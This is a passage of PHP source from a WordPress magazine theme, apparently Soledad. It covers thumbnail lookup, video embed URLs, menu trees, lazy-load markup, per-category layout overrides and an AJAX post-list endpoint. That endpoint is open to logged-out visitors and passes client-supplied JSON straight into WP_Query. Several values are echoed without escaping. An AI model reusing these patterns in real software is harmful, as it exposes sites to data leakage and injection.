					'tax_query'      => array(
						array(
							'taxonomy' => $tax_name,
							'terms'    => $term_id,
						),
					),
					'posts_per_page' => 1,
					'meta_query'     => array(
						'key'     => '_thumbnail_id',
						'compare' => 'EXISTS',
					),
				)
			);

			if ( $term_query->have_posts() ) {
				while ( $term_query->have_posts() ) {
					$term_query->the_post();

					$image_url = get_the_post_thumbnail_url( get_the_ID(), $thumbnail );

				}
				wp_reset_postdata();
			}
		}

		return $image_url ? $image_url : $default_url;
	}
}


add_action(
	'penci_bookmark_post',
	function () {
		$id          = get_the_ID();
		$enable      = get_post_meta( $id, 'penci_video_preview', true );
		$preview_url = get_post_meta( $id, 'penci_video_preview_url', true );
		if ( $enable && $preview_url ) {
			$url = penci_get_video_url( $preview_url );
			echo '<div data-type="' . esc_url( $url['type'] ) . '" data-url="' . esc_url( $url['url'] ) . '" class="penci-preview-thumb"></div>';
		}
	}
);

if ( ! function_exists( 'penci_get_video_url' ) ) {
	function penci_get_video_url( $url ) {
		// This is a general function for generating an embed link of an FB/Vimeo/Youtube Video.
		$finalUrl = $url;
		$type     = 'self';
		if ( strpos( $url, 'facebook.com/' ) !== false ) {
			// it is FB video
			$finalUrl = 'https://www.facebook.com/plugins/video.php?href=' . rawurlencode( $url ) . '&show_text=1&width=200';
			$type     = 'facebook';
		} elseif ( strpos( $url, 'vimeo.com/' ) !== false ) {
			// it is Vimeo video
			$videoId = explode( 'vimeo.com/', $url )[1];
			if ( strpos( $videoId, '&' ) !== false ) {
				$videoId = explode( '&', $videoId )[0];
			}
			$finalUrl = 'https://player.vimeo.com/video/' . $videoId . '?autoplay=1&loop=1&title=0&byline=0&portrait=0&muted=1&background=1';
			$type     = 'vimeo';
		} elseif ( strpos( $url, 'youtube.com/' ) !== false ) {
			// it is Youtube video
			$videoId = explode( 'v=', $url )[1];
			if ( strpos( $videoId, '&' ) !== false ) {
				$videoId = explode( '&', $videoId )[0];
			}
			$finalUrl = 'https://www.youtube.com/embed/' . $videoId . '?&autoplay=1&mute=1&controls=0&loop=1';
			$type     = 'youtube';
		} elseif ( strpos( $url, 'youtu.be/' ) !== false ) {
			// it is Youtube video
			$videoId = explode( 'youtu.be/', $url )[1];
			if ( strpos( $videoId, '&' ) !== false ) {
				$videoId = explode( '&', $videoId )[0];
			}
			$type     = 'youtube';
			$finalUrl = 'https://www.youtube.com/embed/' . $videoId . '?&autoplay=1&mute=1&controls=0&loop=1';
		}

		return array(
			'url'  => $finalUrl,
			'type' => $type,
		);
	}
}

if ( ! function_exists( 'penci_menu_childs' ) ) {
	function penci_menu_childs( $items, $id ) {
		$child_items = array();
		if ( ! empty( $items ) ) {
			foreach ( $items as $key => $child ) {
				if ( $child->menu_item_parent == $id ) {
					$child_items[] = $child;
					penci_find_child_menu_items( $child->ID, $items, $child_items );
				}
			}
		}

		return $child_items;
	}
}

if ( ! function_exists( 'penci_find_child_menu_items' ) ) {
	function penci_find_child_menu_items( $parentId, $items, &$child_items ) {
		foreach ( $items as $key => $item ) {
			if ( $item->menu_item_parent == $parentId ) {
				$child_items[] = $item;
				penci_find_child_menu_items( $item->ID, $items, $child_items );
			}
		}
	}
}

if ( ! function_exists( 'penci_menu_parent_id' ) ) {
	function penci_menu_parent_id( $items, $child_id ) {
		if ( ! $child_id ) {
			return 0;
		}

		return penci_menu_find_parent_id( $items, $child_id );
	}
}

if ( ! function_exists( 'penci_menu_find_parent_id' ) ) {
	function penci_menu_find_parent_id( $items, $child_id ) {
		foreach ( $items as $element ) {

			if ( $child_id == $element->ID ) {
				$ID = $element->menu_item_parent ? $element->menu_item_parent : $element->ID;

				while ( $ID != $element->ID ) {
					$element = penci_get_element_by_id( $items, $ID );
					if ( ! $element ) {
						break;
					}
					$ID = $element->menu_item_parent ? $element->menu_item_parent : $element->ID;
				}

				return $ID;
			}
		}

		return 0;
	}
}

if ( ! function_exists( 'penci_get_element_by_id' ) ) {
	function penci_get_element_by_id( $items, $id ) {
		foreach ( $items as $element ) {
			if ( $element->ID == $id ) {
				return $element;
			}
		}

		return null;
	}
}

if ( ! function_exists( 'penci_layout_bg' ) ) {
	function penci_layout_bg( $url, $lazy = '' ) {
		if ( get_theme_mod( 'penci_img_layouttag' ) ) {
			return;
		}
		$enable_lazy = true;

		if ( is_single() && ( get_theme_mod( 'penci_disable_lazyload_single' ) || get_theme_mod( 'penci_disable_lazyload_layout' ) ) ) {
			$enable_lazy = false;
		} else if ( ! $lazy ) {
			$enable_lazy = ! get_theme_mod( 'penci_disable_lazyload_layout' );
		}

		if ( $enable_lazy ) {
			$img = ' data-bgset="' . $url . '"';
		} else {
			preg_match( '/\bhttps?:\/\/\S+?\.(?:jpg|jpeg|gif|png|webp)\b/i', $url, $matches );
			$imageUrl = isset( $matches[0] ) ? $matches[0] : get_the_post_thumbnail_url( get_the_ID(), penci_featured_images_size() );
			$img      = ' style="background-image:url(' . $imageUrl . ')"';
		}

		return $img;
	}
}

if ( ! function_exists( 'penci_layout_bg_class' ) ) {
	function penci_layout_bg_class( $lazy = '' ) {
		if ( get_theme_mod( 'penci_img_layouttag' ) ) {
			return false;
		}
		$enable_lazy = true;

		if ( ! $lazy ) {
			$enable_lazy = ! get_theme_mod( 'penci_disable_lazyload_layout' );
		}

		if ( $enable_lazy ) {
			$img = 'penci-lazy';
		} else {
			$img = 'penci-no-lazy';
		}

		return $img;
	}
}

if ( ! function_exists( 'penci_layout_img' ) ) {
	function penci_layout_img( $url, $title = '', $lazy = '' ) {
		if ( ! get_theme_mod( 'penci_img_layouttag' ) ) {
			return false;
		}
		$enable_lazy = true;


		if ( ! $lazy ) {
			// Check if lazy loading should be enabled
			$enable_lazy = ! get_theme_mod( 'penci_disable_lazyload_layout' )
			               || ( is_single() && ! get_theme_mod( 'penci_disable_lazyload_single' ) );
		}

		if ( $enable_lazy ) {
			$img = '<img class="penci-lazy" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="' . $url . '" alt="' . esc_attr( wp_strip_all_tags( $title ) ) . '"/>';
		} else {
			$img = '<img class="penci-dis-lazy" src="' . $url . '" alt="' . esc_attr( wp_strip_all_tags( $title ) ) . '"/>';
		}

		return $img;
	}
}

if ( ! function_exists( 'penci_cat_header_layout_builder' ) ) {
	add_filter( 'theme_mod_pchdbd_all', 'penci_cat_header_layout_builder', 999 );
	add_filter( 'theme_mod_pchdbd_archive', 'penci_cat_header_layout_builder', 999 );
	function penci_cat_header_layout_builder( $value ) {
		if ( is_category() || is_tax() || is_tag() ) {
			$term_id          = is_category() ? get_query_var( 'cat' ) : get_queried_object_id();
			$option_name      = is_category() ? "category_$term_id" : 'penci_tax_' . $term_id;
			$category_options = get_option( $option_name );

			if ( isset( $category_options['cat_header_builder'] ) && $category_options['cat_header_builder'] ) {
				return $category_options['cat_header_builder'];
			}

			if ( isset( $category_options['cat_header'] ) && $category_options['cat_header'] &&
			     ( ! isset( $category_options['cat_header_builder'] ) || $category_options['cat_header_builder'] == '' ) ) {
				return '';
			}
		}

		return $value;
	}
}

if ( ! function_exists( 'penci_single_header_layout_builder' ) ) {
	add_filter( 'theme_mod_pchdbd_all', 'penci_single_header_layout_builder', 999 );
	add_filter( 'theme_mod_pchdbd_post', 'penci_single_header_layout_builder', 999 );
	function penci_single_header_layout_builder( $value ) {
		if ( is_single() ) {

			$single_header_builder = penci_get_single_key( get_the_ID(), 'penci_header_builder_layout' );
			$single_header_layout  = penci_get_single_key( get_the_ID(), 'penci_header_layout' );

			if ( $single_header_builder && ! empty( $single_header_builder ) ) {
				return $single_header_builder;
			}

			if ( $single_header_layout && ! empty( $single_header_layout ) &&
			     ( ! $single_header_builder || empty( $single_header_builder ) ) ) {
				return '';
			}
		}

		return $value;
	}

	add_filter( 'theme_mod_penci_header_layout', function ( $value ) {

		if ( is_single() ) {
			$run   = penci_get_single_key( get_the_ID(), 'penci_header_layout' );
			$value = $run ? $run : $value;
		}

		return $value;

	} );
}

if ( ! function_exists( 'penci_get_cat_data' ) ) {
	function penci_get_cat_data( $option, $default ) {
		if ( is_category() || is_tax() || is_tag() ) {
			$term_id          = is_category() ? get_query_var( 'cat' ) : get_queried_object_id();
			$option_name      = is_category() ? "category_$term_id" : 'penci_tax_' . $term_id;
			$category_options = get_option( $option_name );

			if ( isset( $category_options[ $option ] ) && $category_options[ $option ] ) {
				return $category_options[ $option ];
			}
		}

		return $default;
	}
}

$pc_category_filters = array(
	'theme_mod_penci_header_layout'      => 'cat_header',
	'theme_mod_penci_color_accent'       => 'penci_archive_acolor',
	'theme_mod_penci_general_text_color' => 'penci_archive_gtextcolor',
	'theme_mod_penci_bg_color_dark'      => 'penci_archive_cbgcolor',
	'theme_mod_penci_border_color_dark'  => 'penci_archive_bdcolor',
);

foreach ( $pc_category_filters as $mod => $option ) {
	add_filter( $mod, function ( $value ) use ( $option ) {
		return penci_get_cat_data( $option, $value );
	}, 999 );
}

$single_post_category_filters = array(
	'theme_mod_penci_color_accent'       => 'penci_archive_acolor',
	'theme_mod_penci_general_text_color' => 'penci_archive_gtextcolor',
	'theme_mod_penci_bg_color_dark'      => 'penci_archive_cbgcolor',
	'theme_mod_penci_border_color_dark'  => 'penci_archive_bdcolor',
);

foreach ( $single_post_category_filters as $mod => $option ) {
	add_filter( $mod, function ( $value ) use ( $option ) {

		if ( is_single() ) {

			$term_id          = penci_get_post_pri_cat();
			$category_options = get_option( "category_$term_id" );

			if ( isset( $category_options['cat_colors_single'] ) && $category_options['cat_colors_single'] == 'yes' && isset( $category_options[ $option ] ) && $category_options[ $option ] ) {
				return $category_options[ $option ];
			}

		}

		return $value;


	}, 999 );
}

add_action( 'penci_sub_cat_list', function () {
	if ( is_category() && get_theme_mod( 'penci_archive_show_sub' ) ) {
		$current_cat_id = get_queried_object_id();
		$cols 			= get_theme_mod( 'penci_archive_show_sub_col', 3 );
		$desc 			= get_theme_mod( 'penci_archive_show_sub_desc' );
		$childs         = get_terms( [
			'taxonomy' => get_queried_object()->taxonomy,
			'parent'   => $current_cat_id,
		] );
		if ( ! empty ( $childs ) ) {

			?>

            <div class="categories-block pc-cat-archive cols-<?php echo esc_attr( $cols ); ?>">

                <ul class="cat-archive-list">
					<?php

					foreach ( $childs as $cat ) {

						$cat_class    = array( 'cat-block-' . $cat->term_id );
						$penci_cat_bg = get_default_term_thumb_url( $cat->term_id, 'penci-masonry-thumb' );
						$cat_bg       = '';
						if ( $penci_cat_bg ) {
							$cat_class[] = 'has-bg';
							$cat_class[] = penci_layout_bg_class();
							$cat_bg      = penci_layout_bg( $penci_cat_bg );
						}
						?>

                        <li <?php echo $cat_bg; ?> class="<?php echo join( ' ', $cat_class ) ?>">

                            <a href="<?php echo get_category_link( $cat->term_id ) ?>">
                                <h4 class="category-title"><?php echo esc_html( $cat->name ) ?></h4>
								<?php if ( $desc && $cat->description ) : ?>
									<p class="category-desc"><?php echo esc_html( $cat->description ) ?></p>
								<?php endif; ?>
                                <span class="category-count"><?php echo esc_html( $cat->count ) ?></span>
                            </a>

                        </li>

						<?php
					}
					?>
                </ul>
            </div>

			<?php
		}
	}
} );

add_action( 'wp_ajax_penci_mtp_getdata', 'penci_mtp_getdata' );
add_action( 'wp_ajax_nopriv_penci_mtp_getdata', 'penci_mtp_getdata' );
function penci_mtp_getdata() {
	check_ajax_referer( 'penci-mtp-filters', 'nonce' );
	$paged     = wp_unslash( $_POST['paged'] );
	$tax       = wp_unslash( $_POST['tax'] );
	$ids       = wp_unslash( $_POST['ids'] );
	$query     = wp_unslash( $_POST['query'] );
	$settings  = wp_unslash( $_POST['settings'] );
	$post_args = json_decode( $query, true );
	$settings  = json_decode( $settings, true );
	if ( $ids ) {
		unset( $post_args['tax_query'] );
		$ids                      = explode( '|', $ids );
		$post_args['tax_query'][] = [
			'operator' => 'IN',
			'taxonomy' => $tax,
			'terms'    => $ids,
		];
	}
	$post_args['paged'] = $paged;
	$post_list          = new WP_Query( $post_args );

	ob_start();

	if ( $post_list->have_posts() ) {
		while ( $post_list->have_posts() ) {
			$post_list->the_post();
			?>
            <div class="pcsl-item<?php if ( 'yes' == $settings['hide_thumb'] || ! has_post_thumbnail() ) {
				echo ' pcsl-nothumb';
			} ?>">
                <div class="pcsl-itemin">
                    <div class="pcsl-iteminer">


						<?php if ( 'yes' != $settings['hide_thumb'] && has_post_thumbnail() ) { ?>
                            <div class="pcsl-thumb">
								<?php
								do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
								/* Display Review Piechart  */
								if ( 'yes' == $settings['show_reviewpie'] && function_exists( 'penci_display_piechart_review_html' ) ) {
									penci_display_piechart_review_html( get_the_ID(), 'small' );
								}
								?>
								<?php if ( 'yes' == $settings['show_formaticon'] ): ?>
									<?php if ( has_post_format( 'video' ) ) : ?>
                                        <a href="<?php the_permalink() ?>"
                                           class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'gallery' ) ) : ?>
                                        <a href="<?php the_permalink() ?>"
                                           class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'audio' ) ) : ?>
                                        <a href="<?php the_permalink() ?>"
                                           class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'link' ) ) : ?>
                                        <a href="<?php the_permalink() ?>"
                                           class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'quote' ) ) : ?>
                                        <a href="<?php the_permalink() ?>"
                                           class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
									<?php endif; ?>
								<?php endif; ?>
                                <a <?php echo penci_layout_bg( penci_get_featured_image_size( get_the_ID(), $settings['thumbnail'] ), 'yes' != $settings['disable_lazy'] ); ?>
                                        href="<?php the_permalink(); ?>"
                                        title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                        class="<?php echo penci_layout_bg_class( 'yes' != $settings['disable_lazy'] ); ?> penci-image-holder"<?php if ( 'yes' == $settings['nocrop'] ) {
									echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $settings['thumbnail'], true ) . '%"';
								} ?>>
									<?php echo penci_layout_img( penci_get_featured_image_size( get_the_ID(), $settings['thumbnail'] ), get_the_title(), 'yes' != $settings['disable_lazy'] ); ?>
                                </a>

                            </div>
						<?php } ?>
                        <div class="pcsl-content">
							<?php if ( in_array( 'cat', $settings['post_meta'] ) ) : ?>
                                <div class="cat pcsl-cat">
									<?php penci_category( '', $settings['primary_cat'] ); ?>
                                </div>
							<?php endif; ?>

							<?php if ( in_array( 'title', $settings['post_meta'] ) ) : ?>
                                <div class="pcsl-title">
                                    <a href="<?php the_permalink(); ?>"<?php if ( $settings['title_length'] ): echo ' title="' . wp_strip_all_tags( get_the_title() ) . '"'; endif; ?>><?php

										if ( ! $settings['title_length'] ) {
											the_title();
										} else {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $settings['title_length'], '...' );
										} ?></a>
                                </div>
							<?php endif; ?>

							<?php if ( isset( $settings['cspost_enable'] ) && $settings['cspost_enable'] || ( count( array_intersect( array(
										'author',
										'date',
										'comment',
										'views',
										'reading'
									), $settings['post_meta'] ) ) > 0 ) || ( count( array_intersect( array(
										'author',
										'comment',
										'views',
										'reading'
									), $settings['post_meta'] ) ) > 0 ) ) { ?>

								<?php if ( $settings['column'] == 1 ) { ?>
                                    <div class="grid-post-box-meta pcsl-meta pcmtf-mt-alt">
										<?php if ( in_array( 'date', $settings['post_meta'] ) ) : ?>
                                            <span class="sl-date"><?php penci_soledad_time_link( null, $settings['dformat'] ); ?></span>
										<?php endif; ?>
                                    </div>
								<?php } ?>

                                <div class="grid-post-box-meta pcsl-meta">
									<?php if ( in_array( 'author', $settings['post_meta'] ) ) : ?>
                                        <span class="sl-date-author author-italic">
													<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
												penci_coauthors_posts_links();
											else: ?>
                                                <a class="author-url url fn n"
                                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
											<?php endif; ?>
													</span>
									<?php endif; ?>
									<?php if ( in_array( 'date', $settings['post_meta'] ) && $settings['column'] > 1 ) : ?>
                                        <span class="sl-date"><?php penci_soledad_time_link( null, $settings['dformat'] ); ?></span>
									<?php endif; ?>
									<?php if ( in_array( 'comment', $settings['post_meta'] ) ) : ?>
                                        <span class="sl-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
									<?php endif; ?>
									<?php
									if ( in_array( 'views', $settings['post_meta'] ) ) {
										echo '<span class="sl-views">';
										echo penci_get_post_views( get_the_ID() );
										echo ' ' . penci_get_setting( 'penci_trans_countviews' );
										echo '</span>';
									}
									?>
									<?php
									$hide_readtime = in_array( 'reading', $settings['post_meta'] ) ? false : true;
									if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                        <span class="sl-readtime"><?php penci_reading_time(); ?></span>
									<?php endif; ?>
									<?php echo penci_show_custom_meta_fields( [
										'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
										'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
										'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
										'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
										'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
									] ); ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php } ?>

							<?php if ( 'yes' == $settings['show_excerpt'] && 'side' == $settings['excerpt_pos'] ) { ?>
                                <div class="pcbg-pexcerpt pcsl-pexcerpt">
									<?php penci_the_excerpt( $settings['excerpt_length'] ); ?>
                                </div>
							<?php } ?>
							<?php if ( 'yes' == $settings['show_readmore'] && 'side' == $settings['excerpt_pos'] ) { ?>
                                <div class="pcsl-readmore">
                                    <a href="<?php the_permalink(); ?>"
                                       class="pcsl-readmorebtn pcsl-btns-<?php echo $settings['rmstyle']; ?>">
										<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                    </a>
                                </div>
							<?php } ?>

                        </div>

						<?php if ( ( 'yes' == $settings['show_excerpt'] || 'yes' == $settings['show_readmore'] ) && 'below' == $settings['excerpt_pos'] ) { ?>
                            <div class="pcsl-flex-full">
								<?php if ( 'yes' == $settings['show_excerpt'] ) { ?>
                                    <div class="pcbg-pexcerpt pcsl-pexcerpt">
										<?php penci_the_excerpt( $settings['excerpt_length'] ); ?>
                                    </div>
								<?php } ?>
								<?php if ( 'yes' == $settings['show_readmore'] ) { ?>
                                    <div class="pcsl-readmore">
                                        <a href="<?php the_permalink(); ?>"
                                           class="pcsl-readmorebtn pcsl-btns-<?php echo $settings['rmstyle']; ?>">
											<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                        </a>
                                    </div>
								<?php } ?>
                            </div>
						<?php } ?>
                    </div>
                </div>
            </div>
			<?php
		}
		wp_reset_postdata();
	}
	$out = ob_get_clean();
	wp_send_json_success( [ 'html' => $out, 'paged' => $post_args['paged'] ] );
}

add_filter( 'body_class', function ( $classes ) {
	$class = get_theme_mod( 'penci_tags_style' );
	if ( $class ) {
		$classes[] = 'pcstyle-' . $class;
	}

	return $classes;
} );

add_action( 'penci_header_wrap', function () {
	echo get_theme_mod( 'penci_custom_code_after_header_tag' );
} );

add_filter( 'wp_generate_tag_cloud', function ( $tag_string ) {
	return preg_replace( '/style=("|\')(.*?)("|\')/', '', $tag_string );
}, 10, 1 );

if ( ! function_exists( 'penci_vernav_builder_content' ) ) {
	function penci_vernav_builder_content( $id = 'penci_moble_vertical_block' ) {
		$nav_builder_slug = get_theme_mod( $id );

		if ( ! $nav_builder_slug ) {
			return;
		}

		$content = '';
		$nav_id  = '';

		$nav_data = get_page_by_path( $nav_builder_slug, OBJECT, 'penci-block' );
		if ( isset( $nav_data->ID ) && $nav_data->ID ) {
			$nav_id = $nav_data->ID;
		}

		if ( $nav_id ) {
			$nav_content = get_post( $nav_id );

			if ( $nav_content ) {
				if ( did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $nav_id )->is_built_with_elementor() ) {
					$content .= '<div id="footer-section" class="pcfb-wrapper">';
					$content .= penci_get_elementor_content( $nav_id );
					$content .= '</div>';
				} else {
					$content .= '<div id="footer-section" class="pcfb-wrapper js-composer-content">';
					$content .= do_shortcode( $nav_content->post_content );

					$shortcodes_custom_css = get_post_meta( $nav_id, '_wpb_shortcodes_custom_css', true );

					$content .= '<style data-type="vc_shortcodes-custom-css">';
					if ( ! empty( $shortcodes_custom_css ) ) {
						$content .= $shortcodes_custom_css;
					}
					$content .= '</style>';
					$content .= '</div>';
				}
			}
		}

		return $content;
	}
}
if ( ! function_exists( 'penci_add_support_table_responsive' ) ) {
	add_filter( 'the_content', 'penci_add_support_table_responsive', 100, 1 );
	function penci_add_support_table_responsive( $content ) {

		$pattern     = '/(<table\b[^>]*>)(.*?)(<\/table>)/is';
		$replacement = '<div class="pcrstb-wrap">$1$2$3</div>';

		// Use preg_replace to search for the pattern and wrap the matched content
		$content = preg_replace( $pattern, $replacement, $content );

		return $content;

	}
}
add_filter( 'theme_mod_penci_post_related', function ( $value ) {
	if ( penci_is_mobile() && get_theme_mod( 'penci_post_related_mobile' ) ) {
		return false;
	}

	return $value;
} );
add_filter( 'theme_mod_penci_related_post_popup', function ( $value ) {
	if ( penci_is_mobile() && get_theme_mod( 'penci_related_post_popup_mobile' ) ) {
		return false;
	}

	return $value;
} );
add_filter( 'penci_sidebar_archive', function ( $value ) {
	if ( penci_is_mobile() && get_theme_mod( 'penci_sidebar_archive_mobile' ) ) {
		return false;
	}

	return $value;
} );
add_filter( 'penci_single_layout', function ( $value ) {
	$mobile_layout = get_theme_mod( 'penci_single_layout_mobile' );

	if ( penci_is_mobile() && $mobile_layout ) {
		return $mobile_layout;
	}

	return $value;
} );

function penci_more_ct_class() {
	$class = '';

	if ( get_theme_mod( 'penci_single_content_h' ) ) {
		$class = 'pcct-limit-height';
	}

	if ( ! get_theme_mod( 'penci_single_content_h' ) && get_theme_mod( 'penci_single_content_hm' ) && penci_is_mobile() ) {
		$class = 'pcct-limit-height-mobile';
	}

	return $class;
}

add_filter( 'penci_action_before_the_content', function () {
	if ( penci_more_ct_class() ) {
		echo '<div class="penci-sg-cth ' . penci_more_ct_class() . '">';
	}
} );

add_filter( 'penci_action_after_the_content', function () {

	$button = '';

	if ( get_theme_mod( 'penci_single_content_h' ) || get_theme_mod( 'penci_single_content_hm' ) ) {
		$button = '<div class="penci-btn-more-content"><a aria-label="' . penci_get_setting( 'penci_trans_read_more' ) . '" title="' . penci_get_setting( 'penci_trans_read_more' ) . '" class="penci-bmca" href="#">' . penci_get_setting( 'penci_trans_read_more' ) . '</a></div>';
	}

	if ( get_theme_mod( 'penci_single_content_hm' ) && ! get_theme_mod( 'penci_single_content_h' ) && ! penci_is_mobile() ) {
		$button = '';
	}

	if ( $button ) {
		echo $button . '</div>';
	}

} );

if ( ! function_exists( 'penci_get_post_pri_cat' ) ) {
	function penci_get_post_pri_cat( $id = '' ) {
		if ( ! $id ) {
			$id = get_the_ID();
		}

		$primary_id = false;

		$primary_id = get_post_meta( $id, 'pcpricat_primary_category', true );

		// Get primary cat from Yoast
		if ( function_exists( 'yoast_get_primary_term_id' ) ) {
			$primary_id = yoast_get_primary_term_id( 'category', get_the_id() );
		}
		// Get primary cat from Rank Math
		if ( class_exists( 'RankMath' ) ) {
			$primary_id = get_post_meta( get_the_id(), 'rank_math_primary_category', true );
		}

		if ( ! $primary_id ) {
			$post_cat = get_the_category( $id );
			if ( ! empty( $post_cat ) ) {
				$primary_id = $post_cat[0]->term_id;
			}
		}

		return $primary_id;
	}
}

if ( ! function_exists( 'penci_get_overwrite_cat_single' ) ) {
	function penci_get_single_key( $id, $meta_key ) {

		$origial_value = get_post_meta( $id, $meta_key, true );

		if ( $origial_value ) {
			return $origial_value;
		}

		$cat_value = '';
		$priid     = penci_get_post_pri_cat( $id );

		$meta_keys = [
			'penci_post_sidebar_display'  => [
				'override_key' => 'cat_sidebar_single',
				'value_key'    => 'cat_sidebar_display'
			],
			'penci_header_builder_layout' => [
				'override_key' => 'cat_header_single',
				'value_key'    => 'cat_header_builder'
			],
			'penci_header_layout'         => [
				'override_key' => 'cat_header_single',
				'value_key'    => 'cat_header'
			],
			'penci_footer_builder_layout' => [
				'override_key' => 'cat_footer_single',
				'value_key'    => 'cat_footer'
			],
			'penci_header_block_layout'   => [
				'override_key' => 'cat_header_single',
				'value_key'    => 'cat_header_block'
			]
		];

		if ( isset( $meta_keys[ $meta_key ] ) && ! is_admin() && $priid ) {

			$cat_options = get_option( "category_$priid" );

			// Retrieve the override and value keys based on the meta key
			$override_key = $meta_keys[ $meta_key ]['override_key'];
			$value_key    = $meta_keys[ $meta_key ]['value_key'];

			$override = isset( $cat_options[ $override_key ] ) ? $cat_options[ $override_key ] : '';
			if ( $override ) {
				$cat_value = isset( $cat_options[ $value_key ] ) ? $cat_options[ $value_key ] : '';
			}
		}

		return $cat_value;

	}
}

function penci_soledad_archive_pag_attr() {

	$layout_this = get_theme_mod( 'penci_archive_layout' );

	$data_layout = $layout_this;
	if ( in_array( $layout_this, array( 'standard-grid', 'classic-grid', 'overlay-grid' ) ) ) {
		$data_layout = 'grid';
	} elseif ( in_array( $layout_this, array( 'standard-grid-2', 'classic-grid-2' ) ) ) {
		$data_layout = 'grid-2';
	} elseif ( in_array( $layout_this, array( 'standard-list', 'classic-list', 'overlay-list' ) ) ) {
		$data_layout = 'list';
	} elseif ( in_array( $layout_this, array( 'standard-boxed-1', 'classic-boxed-1' ) ) ) {
		$data_layout = 'boxed-1';
	} elseif ( in_array( $layout_this, array( 'mixed-3', 'mixed-4' ) ) ) {
		$data_layout = 'small-list';
	}

	$data_template = 'sidebar';
	if ( ! penci_get_setting( 'penci_sidebar_archive' ) ):
		$data_template = 'no-sidebar';
	endif;

	$offset_number = $num_load = get_option( 'posts_per_page' );

	$penci_cat_featured_layout = get_theme_mod( 'penci_cat_featured_layout', '' );
	$penci_tag_featured_layout = get_theme_mod( 'penci_tag_featured_layout', '' );

	if ( ( is_category() && $penci_cat_featured_layout ) || ( is_tag() && $penci_tag_featured_layout ) ) {
		$penci_featured_layout = is_category() ? $penci_cat_featured_layout : $penci_tag_featured_layout;
		$grid_per_page         = penci_featured_archive_ppl( $penci_featured_layout );
		$offset_number         = $offset_number + $grid_per_page;
	}

	$data_archive_type  = '';
	$data_archive_value = '';
	if ( is_category() ):
		$category           = get_category( get_query_var( 'cat' ) );
		$cat_id             = isset( $category->cat_ID ) ? $category->cat_ID : '';
		$data_archive_type  = 'cat';
		$data_archive_value = $cat_id;
		$opt_cat            = 'category_' . $cat_id;
		$cat_meta           = get_option( $opt_cat );
		$sidebar_opts       = isset( $cat_meta['cat_sidebar_display'] ) ? $cat_meta['cat_sidebar_display'] : '';
		if ( $sidebar_opts == 'no' ):
			$data_template = 'no-sidebar';
        elseif ( $sidebar_opts == 'left' || $sidebar_opts == 'right' ):
			$data_template = 'sidebar';
		endif;

    elseif ( is_tag() ):
		$tag                = get_queried_object();
		$tag_id             = isset( $tag->term_id ) ? $tag->term_id : '';
		$data_archive_type  = 'tag';
		$data_archive_value = $tag_id;
    elseif ( is_day() ):
		$data_archive_type  = 'day';
		$data_archive_value = get_the_date( 'm|d|Y' );
    elseif ( is_month() ):
		$data_archive_type  = 'month';
		$data_archive_value = get_the_date( 'm|d|Y' );
    elseif ( is_year() ):
		$data_archive_type  = 'year';
		$data_archive_value = get_the_date( 'm|d|Y' );
    elseif ( is_search() ):
		$data_archive_type  = 'search';
		$data_archive_value = get_search_query();
    elseif ( is_author() ):

		global $authordata;
		$user_id = isset( $authordata->ID ) ? $authordata->ID : 0;

		$data_archive_type  = 'author';
		$data_archive_value = $user_id;
    elseif ( is_archive() ):
		$queried_object = get_queried_object();
		$term_id        = isset( $queried_object->term_id ) ? $queried_object->term_id : '';
		$tax            = isset( $queried_object->taxonomy ) ? $queried_object->taxonomy : '';
		$tax_name       = is_object( $tax ) && isset( $tax->name ) ? $tax->name : '';

		if ( $term_id && $tax_name ) {
			$data_archive_type  = $tax_name;
			$data_archive_value = $term_id;
		}
	endif;

	return [
		'mes'          => penci_get_setting( 'penci_trans_no_more_posts' ),
		'layout'       => esc_attr( $data_layout ),
		'number'       => absint( $num_load ),
		'offset'       => absint( $offset_number ),
		'from'         => 'customize',
		'template'     => $data_template,
		'archivetype'  => $data_archive_type,
		'archivevalue' => $data_archive_value,
		'nonce'        => wp_create_nonce( 'archive-more-post' ),
	];

}

add_action( 'wp_head', function () {
	if ( get_theme_mod( 'penci_favicon' ) ) : ?>
        <link rel="shortcut icon" href="<?php echo esc_url( get_theme_mod( 'penci_favicon' ) ); ?>"
              type="image/x-icon"/>
        <link rel="apple-touch-icon" sizes="180x180" href="<?php echo esc_url( get_theme_mod( 'penci_favicon' ) ); ?>">
	<?php endif;
	if ( get_theme_mod( 'penci_theme_color' ) ) : ?>
